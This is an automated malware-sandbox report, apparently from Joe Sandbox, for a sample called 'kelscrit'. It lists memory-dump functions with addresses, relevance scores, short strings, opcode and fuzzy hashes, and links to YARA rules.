Opcode ID: 0cf1770fa2088f2645b23b3f6bf2330123b64af55ec8fd4d287e767ff560ca02
Instruction ID: 8b7ce22b9bee019fa5d5c7d16171f9830410f29263bdc0c2fec7a8c1f9dcafce
Opcode Fuzzy Hash: 0cf1770fa2088f2645b23b3f6bf2330123b64af55ec8fd4d287e767ff560ca02
Instruction Fuzzy Hash: 9391DD42F2EF01C9EF83353084816B1E699DF66186F11BB9D8433A2DA2B71E354F6184

Function 04380F90 Relevance: 1.6, Strings: 1, Instructions: 374COMMON

Download Yara Rule

Strings

ji*, xrefs: 04380F90

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: ji*
API String ID: 0-926104866
Opcode ID: c18467f77a6db8420fdd1b812520e9b430f431f85d3a5e477cd5df7e4db2264f
Instruction ID: 1e4af78f281573edd39d727a7cf7438b5445c92eea8f9776e22649e89b8c2542
Opcode Fuzzy Hash: c18467f77a6db8420fdd1b812520e9b430f431f85d3a5e477cd5df7e4db2264f
Instruction Fuzzy Hash: 7F918A82F2EF01C9EF93313085806B1D699DF62146E11BB9E8827A2DA5B72F354F7184

Function 043810DE Relevance: 1.6, Strings: 1, Instructions: 358COMMON

Download Yara Rule

Strings

rPt, xrefs: 04381101

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: 277d27ad2d7289c690241676b683a07c96e855214f9bb827440c143ab5883991
Instruction ID: c1f307de3a044a65138a7ad225fc94980238b990e3f926a0a182098c1db31876
Opcode Fuzzy Hash: 277d27ad2d7289c690241676b683a07c96e855214f9bb827440c143ab5883991
Instruction Fuzzy Hash: 4D91AC42F2EF00C9EF83353085816B1E689DF62146E11BB9D8437A2DA1B71F354F6184

Function 0438139C Relevance: 1.6, Strings: 1, Instructions: 328COMMON

Download Yara Rule

Strings

rPt, xrefs: 04381372

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: 29d164ea0739fe44e3f18d27f438160aacb1252854faa0918b223212c288af5a
Instruction ID: 88c071bc23664733c40f69992abcabe7ca351d1f0710f25e4ce6abefa61e0c4f
Opcode Fuzzy Hash: 29d164ea0739fe44e3f18d27f438160aacb1252854faa0918b223212c288af5a
Instruction Fuzzy Hash: DD81BC52F2EF01C9FF83753089816B2E699DF62145F11BB9D882392D91B71F354B6284

Function 04381230 Relevance: 1.6, Strings: 1, Instructions: 325COMMON

Download Yara Rule

Strings

rPt, xrefs: 04381232

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: 96432def209882ba89bdaa231199f00d3673cfc048ac01af7d6a45d2f1b5841b
Instruction ID: 6ab54e9743d6111e41d66064533cc55b710dc6514e8203868c3b96ccce0e4bc5
Opcode Fuzzy Hash: 96432def209882ba89bdaa231199f00d3673cfc048ac01af7d6a45d2f1b5841b
Instruction Fuzzy Hash: 94818C42F2EF01C9EF93353085816B1D689DF66146E11BB9D8837A2DA1B71F394F7188

Function 0438134F Relevance: 1.6, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

rPt, xrefs: 04381372

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: ea2e2142c71a69080314db444323fed2624cc0a0184dadd3eedc50785c51ec5c
Instruction ID: 3468168ea3294d072edb80e72420657e5f83eb71ee52cc10647a13f20e58baec
Opcode Fuzzy Hash: ea2e2142c71a69080314db444323fed2624cc0a0184dadd3eedc50785c51ec5c
Instruction Fuzzy Hash: 7871CC52F2EF01C9FF8375308581BB1E699DF62146E11BB9D8833A2DA1B71F394B6184

Function 0438146F Relevance: 1.5, Strings: 1, Instructions: 286COMMON

Download Yara Rule

Strings

ji*, xrefs: 0438146F

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: ji*
API String ID: 0-926104866
Opcode ID: eec60d7dd2b5730ea403104f571921d9ebfad9ad01d001dcdce6db0e44ff8967
Instruction ID: 5fe868d069d116e9fff6675484b9f4235e106bcd7f05364832745673d6d6d4d2
Opcode Fuzzy Hash: eec60d7dd2b5730ea403104f571921d9ebfad9ad01d001dcdce6db0e44ff8967
Instruction Fuzzy Hash: 4261AC42F2EF01C9FF433530C5816B1E699DF62146F11BB9D9827A2DA1B72E394B6184

Function 0438160F Relevance: 1.5, Strings: 1, Instructions: 285COMMON

Download Yara Rule

Strings

rPt, xrefs: 043815E2

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: 8e626920fa1095279edb9707193ee2a19b399378146bf20613ae5d8e589fa310
Instruction ID: b8ad38a50a115fbb27a330c16a8fb810dfd2935d91560c6a673e54a0d29abac9
Opcode Fuzzy Hash: 8e626920fa1095279edb9707193ee2a19b399378146bf20613ae5d8e589fa310
Instruction Fuzzy Hash: A061DD12B2EF01C9EF4375308541AB2EA99DF62145F11BB9DD83393D91B71E348B62C4

Function 00402930 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040293F

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f7eec81d6910abfa52e209e80917fba1586809f9bcb970d7ef1d97902b1d379f
Instruction ID: 26e9208e2aa2ebd90a7e98889f3239c7d6ed4a815a584e9a2b1206afb1357c73
Opcode Fuzzy Hash: f7eec81d6910abfa52e209e80917fba1586809f9bcb970d7ef1d97902b1d379f
Instruction Fuzzy Hash: D1F08C71A04105AAD700EBE4EE499AEB378EF14324F20017BE112F31E5D7B89E509B2E

Function 043815BF Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

rPt, xrefs: 043815E2

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: 1b739db25a92ef5ab6c989536d161d1b91c31f87c06df819afd063cf51c68186
Instruction ID: 1e9455c5ac00b47a4619d524434d72f2713157070445a7559677d79bf19075c1
Opcode Fuzzy Hash: 1b739db25a92ef5ab6c989536d161d1b91c31f87c06df819afd063cf51c68186
Instruction Fuzzy Hash: 9261DF12B2EF01C9EF4375308581BB1EA89DF62155F11BB9E983792DA1B71F384B61C4

Function 04381875 Relevance: 1.5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

Strings

rPt, xrefs: 0438184E

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: 2fcfce63e6ed205386435ec1414de4461351632621c8ac7693d7830607fe2615
Instruction ID: 118de6bc117d3371ac9902a92243af99cef1c18c9ce423b79b9a8b2f1cc3e351
Opcode Fuzzy Hash: 2fcfce63e6ed205386435ec1414de4461351632621c8ac7693d7830607fe2615
Instruction Fuzzy Hash: 4551BB02B2EF01C9EF43753185827B2E799EF52655F11AB9DC823A3D91B71A384BA1C4

Function 043816E2 Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

ji*, xrefs: 043816E2

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: ji*
API String ID: 0-926104866
Opcode ID: 030e1dfc18ac019a87096130b1ed512736b10ae71e0a730105f91bcaecf752ce
Instruction ID: 262e37ba563a3463cdc82aadcfd024e1e2bf05660ae24f51ea06d95434596203
Opcode Fuzzy Hash: 030e1dfc18ac019a87096130b1ed512736b10ae71e0a730105f91bcaecf752ce
Instruction Fuzzy Hash: 9351CD12F2EF01C9EF433530C581BB1E689DF62195F11BB9D8837A29A1B71F384B6284

Function 04380009 Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

rPt, xrefs: 04380018

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: 8e8d3858591ed43349e266016f2dbad796b9af27ac760b7f099f027a0e0b6fee
Instruction ID: 9257dd5ae21dd7ecd57e4e1ad622301be1410619f913851f09ca1058117f6e07
Opcode Fuzzy Hash: 8e8d3858591ed43349e266016f2dbad796b9af27ac760b7f099f027a0e0b6fee
Instruction Fuzzy Hash: E051EE67B1EB00CAE70B7930C4413F1EB75DF42285F53AA5EC46223D52B626754EA6C0

Function 0438182B Relevance: 1.5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

Strings

rPt, xrefs: 0438184E

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: 5cb573f36b46fb1f492b23a49c773a29a960d6366309bef1fd43caebc1e5e344
Instruction ID: e2834b4fa4d328b7ba706b5e507c272cb0c736de24bce08115b00755a69135a9
Opcode Fuzzy Hash: 5cb573f36b46fb1f492b23a49c773a29a960d6366309bef1fd43caebc1e5e344
Instruction Fuzzy Hash: E051AD12B2EF01CAEF4375308541BB1E689EF52145F11BBAEC823939A1B71A784B6184

Function 04381948 Relevance: 1.4, Strings: 1, Instructions: 199COMMON

Download Yara Rule

Strings

ji*, xrefs: 04381948

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: ji*
API String ID: 0-926104866
Opcode ID: f7b8afb8f32d34580d49289539bbb77c4eefbe3501b121dbdad6911cacd715dd
Instruction ID: e7177dca4d47b198e05e30ad55b05e9e30b020e3676d5c5eb4ab4dadba901386
Opcode Fuzzy Hash: f7b8afb8f32d34580d49289539bbb77c4eefbe3501b121dbdad6911cacd715dd
Instruction Fuzzy Hash: ED41EE02B2EF01C9EF433530C5817B2E689EF52155F11BBAD842792DA1B71F384F6188

Function 04380287 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

rPt, xrefs: 04380271

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: ad320567e6604fa7aebde403dfeb6ccf036c8142bebc22a0f3ddd40833f9a6af
Instruction ID: 1592e44785262e8262b9937cd3d3936ebc2586230e2efd0276f3f476e68a1e63
Opcode Fuzzy Hash: ad320567e6604fa7aebde403dfeb6ccf036c8142bebc22a0f3ddd40833f9a6af
Instruction Fuzzy Hash: 4D41E123E1DB00CFE706B930C4413B5FB64DF46141F53AA9DC45673D92F79AA84E9690

Function 04380897 Relevance: .5, Instructions: 526COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2d11ead5050558cccfeb10a7d1c5637a8f3ac4e7fb31fa6ecbdcab7a29a3d10
Instruction ID: b5ff84c2311ed924e87fd060fa1a90cc34a9d1e992928bfb296787c481097260
Opcode Fuzzy Hash: b2d11ead5050558cccfeb10a7d1c5637a8f3ac4e7fb31fa6ecbdcab7a29a3d10
Instruction Fuzzy Hash: A8D19B42F2EF00C9EF93313085817B2D6A9DF62186E12BB5D8427A2DA5B71F354F7188

Function 043806F9 Relevance: .5, Instructions: 524COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52fecc05d3518f1c3b6b86db108a7fd01c9bdf1e08dcdd39e690f2e27395b9dc
Instruction ID: c8914474e2f2ad6a2a818307dc85ed55ed0f525587a7ee13a4f8509e223ac1f2
Opcode Fuzzy Hash: 52fecc05d3518f1c3b6b86db108a7fd01c9bdf1e08dcdd39e690f2e27395b9dc
Instruction Fuzzy Hash: 6DD17982F2EF00C9EF93313085817B5D698DF22186E12BB9E5827A1D65B72F754F7188

Function 04380874 Relevance: .5, Instructions: 522COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0a1302ba0c610aeece24b24cdf7c1aa0f5fd97f96d6b64e86688a6b661945c9
Instruction ID: ce9e972d173cedcac20d611a2e9c0296954ea432696c05b1558eb00f0e0ab1ca
Opcode Fuzzy Hash: b0a1302ba0c610aeece24b24cdf7c1aa0f5fd97f96d6b64e86688a6b661945c9
Instruction Fuzzy Hash: C2D19B42F2EF00C9EF93353085407B6D699DF62146E12BB9D8827A1DA5B71F354F7184

Function 043806C9 Relevance: .5, Instructions: 522COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d36d6b31d8f43564750c924d58b53968a2b765c06e08b2812a7f98301b0cafbe
Instruction ID: 536209967828fd8e41203d6ed0fb289cfd4c7eba7705351f17036e67f80632c3
Opcode Fuzzy Hash: d36d6b31d8f43564750c924d58b53968a2b765c06e08b2812a7f98301b0cafbe
Instruction Fuzzy Hash: EDD18982F2EF00C9EF933130C5817B5D698DF22186E12BB9E5827A1DA5B61F354F7588

Function 043806B0 Relevance: .5, Instructions: 519COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efed6c0ae85d2590d1e1197b70ca888cb98c8303f7e1215e3ddfa95ca5ba3d85
Instruction ID: 6fbb9ad426408e16061d3021752ceb3bc96d669792b1a643af085e75865cd8b3
Opcode Fuzzy Hash: efed6c0ae85d2590d1e1197b70ca888cb98c8303f7e1215e3ddfa95ca5ba3d85
Instruction Fuzzy Hash: FCD18982F2EF00C9EF93313085807B5D698DF22186E12BB9E5827A1DA5761F354F7588

Function 0438081C Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59d1d6e9b861c1a2be3e8333bd4b3eeba4a2752bc7bae970d91636283c5af660
Instruction ID: f3241ead840b9d1997d5ece68ee26efed119ef175da2e6ddc2477257f7f893d5
Opcode Fuzzy Hash: 59d1d6e9b861c1a2be3e8333bd4b3eeba4a2752bc7bae970d91636283c5af660
Instruction Fuzzy Hash: 34D17B82F2EF00C9EF93313085817B5D699DF22146E12BB9E8827A1DA5B71F354F7188

Function 043807EA Relevance: .5, Instructions: 501COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 358cc1b86da9f602a3087549a699b83f9ef864f0eba767a87e3366b45287125e
Instruction ID: 0b28c57026ab38527b9da24a90a4c3dcd0731c9f798d814f15956a664d6986bf
Opcode Fuzzy Hash: 358cc1b86da9f602a3087549a699b83f9ef864f0eba767a87e3366b45287125e
Instruction Fuzzy Hash: B3D18A82F2EF00C9EF933130C5807B5D699DF62186E12BB9E4827A1DA5B61F354F7188

Function 043808F4 Relevance: .5, Instructions: 493COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71d7bc90cba2f11cfe957de52bfd273a1fe8b83454446463acc16c7f2fe5132e
Instruction ID: 8f65077a1dafc3c7bce63c99a1c9143229d4a66f247facf21a45cad3783e6f2b
Opcode Fuzzy Hash: 71d7bc90cba2f11cfe957de52bfd273a1fe8b83454446463acc16c7f2fe5132e
Instruction Fuzzy Hash: F7C19B82F2EF01C9EF93313084817B1D659DF62186E12BB9E8827A1DA5771F364F7188

Function 04380918 Relevance: .5, Instructions: 482COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1ffe524c72bc129be62713064ee5496a29879f95b055398425c3a8b12fa59fd
Instruction ID: 638169d4080ef301f32d7c1c40b44c42d1263c351b514ae1d19b922afa8b43e0
Opcode Fuzzy Hash: a1ffe524c72bc129be62713064ee5496a29879f95b055398425c3a8b12fa59fd
Instruction Fuzzy Hash: C4C19A82F2EF00C9EF93313084807B1D659DF22146E12BB9E8427A1DA5B71F354F7188

Function 04380A0A Relevance: .5, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c31d4de5bea9e98d124974ef5628f0489afeb6410b6def06c4a3480b71118d20
Instruction ID: b3d77064b9b44315fa47b38a11ccff804c777a20786d526132afd562156138b2
Opcode Fuzzy Hash: c31d4de5bea9e98d124974ef5628f0489afeb6410b6def06c4a3480b71118d20
Instruction Fuzzy Hash: D3C19A42F2EF01C9EF93313084817B2D699DF62146E12BB9E8427A1DA5B72F754F7188

Function 0438095C Relevance: .5, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f1f6195706cf55a90126a936efe72429946049dff4d6f6ca726c030a06745b
Instruction ID: 20d91ba4ca76d884e5c0ce089a560c43bb4aebbd17f7e249484d3d530a22bb23
Opcode Fuzzy Hash: 02f1f6195706cf55a90126a936efe72429946049dff4d6f6ca726c030a06745b
Instruction Fuzzy Hash: F1C18952F2EF00C9EF83353084817B5D659DF22146E12BB9E8827A1DA5B72F354F7188

Function 04380928 Relevance: .5, Instructions: 479COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c89f9d7315bf0f792839794ed4bb1dd72366383341716f26b2f948daf03d1d1c
Instruction ID: 379158fbf5f9d7ad671d0f671f3058cb4e135ab79ef804e6c37fd53828c4a513
Opcode Fuzzy Hash: c89f9d7315bf0f792839794ed4bb1dd72366383341716f26b2f948daf03d1d1c
Instruction Fuzzy Hash: 85C19B42F2EF01C9EF93313084817B5D699DF22146E12BB9E8827A1DA5771F364F3188

Function 04380B07 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea8a48dbcd1e718475c1376dcbae383f8004fa00e499aac1df81656c0c39d1f0
Instruction ID: bf9820342807f273c08ca3666887d938b39902afb48720b7c0b701642c8e7256
Opcode Fuzzy Hash: ea8a48dbcd1e718475c1376dcbae383f8004fa00e499aac1df81656c0c39d1f0
Instruction Fuzzy Hash: A8C1BD42F2EF01C9EF93343084817B2D669DF66146E12BB5E4423A2DA5B72F754F7188

Function 04380AE0 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 978171e8c9c2b539752abdbeaf7c19285af046789161e116d063bd026f8658c6
Instruction ID: e08a53b303210a3d39e419077272a1e1e1d8cbd57e81fbbde2b4f882c1a2c464
Opcode Fuzzy Hash: 978171e8c9c2b539752abdbeaf7c19285af046789161e116d063bd026f8658c6
Instruction Fuzzy Hash: 19C1BB42F2EF01C9EF93353084807B2D658DF62146E12BB9E8823A1DA5B72F354F7188

Function 04380A86 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 914b8f2fec31462586d0eeb27dde199c72061dea80b492c193a47da8c20375cb
Instruction ID: 317c83685506c15bc462e254f407f11165092feb084eac514694000ce2e95590
Opcode Fuzzy Hash: 914b8f2fec31462586d0eeb27dde199c72061dea80b492c193a47da8c20375cb
Instruction Fuzzy Hash: 52C17842F2EF01C9EF93313084817B2D659DF62146E12BB9E8827A1DA5B72F354F7188

Function 04380A50 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 318b196205f2d147d3aadd8951c1e942c47e7fe23bbc9df71e43722f180c8276
Instruction ID: 48bfac0d205f3e1040816c7d42547f52c3ea1772d9f9e11ba365619923f737ef
Opcode Fuzzy Hash: 318b196205f2d147d3aadd8951c1e942c47e7fe23bbc9df71e43722f180c8276
Instruction Fuzzy Hash: ECC17A42F2EF01C9EF93303085817B2D659DF62146E12BB9E9827A1DA5B71F364F3188

Function 04380B47 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a63b9dd972a6f1f4023afac1477f3878225a67c8531c087819c9d23b8f785bc0
Instruction ID: 73e5ee7db260ddb55022cb36d256dfaf893484fe948d4d3f6ce53d400446cc1a
Opcode Fuzzy Hash: a63b9dd972a6f1f4023afac1477f3878225a67c8531c087819c9d23b8f785bc0
Instruction Fuzzy Hash: 40C19A42F2EF00C9EF93317084817B2D659DF62146E12BB9E9827A1DA5B72F354F7188

Function 04380B6A Relevance: .4, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 428ad34d5030c189449d50b989ec40b3d2c3c5f6ee36129b66641d2c477fdb16
Instruction ID: 80fe61493c77b5bb000b3e503ecb2a41bc562c024eedf6dbec79379fa7510aa9
Opcode Fuzzy Hash: 428ad34d5030c189449d50b989ec40b3d2c3c5f6ee36129b66641d2c477fdb16
Instruction Fuzzy Hash: 88B18B42F2EF01C9EF93313084817B1D659DF62146E12BB9E9827A1DA5B72F354F7188

Function 04380B8B Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 369ac5c0eb643352fa8179bea2daa121af171c50ef5f316c3fc7cde3cdd7eebb
Instruction ID: 97822b9ef86f0b731671124fbec57b41d91295d673c9b2f7046dbf1cee564b80
Opcode Fuzzy Hash: 369ac5c0eb643352fa8179bea2daa121af171c50ef5f316c3fc7cde3cdd7eebb
Instruction Fuzzy Hash: 13B17B42F2EF01C9EF93313084817B1D659DF62146E12BB9E9827A1DA5B71F354F7188

Function 04380BD1 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6082af8e5b5629881ba9bf5d09ac20cbc6ac2d226b0d23d8da772f538fdaff34
Instruction ID: 94cb4029e58a5644c249ffa697612f693488428c04ff7329bfc1ad4560c1b715
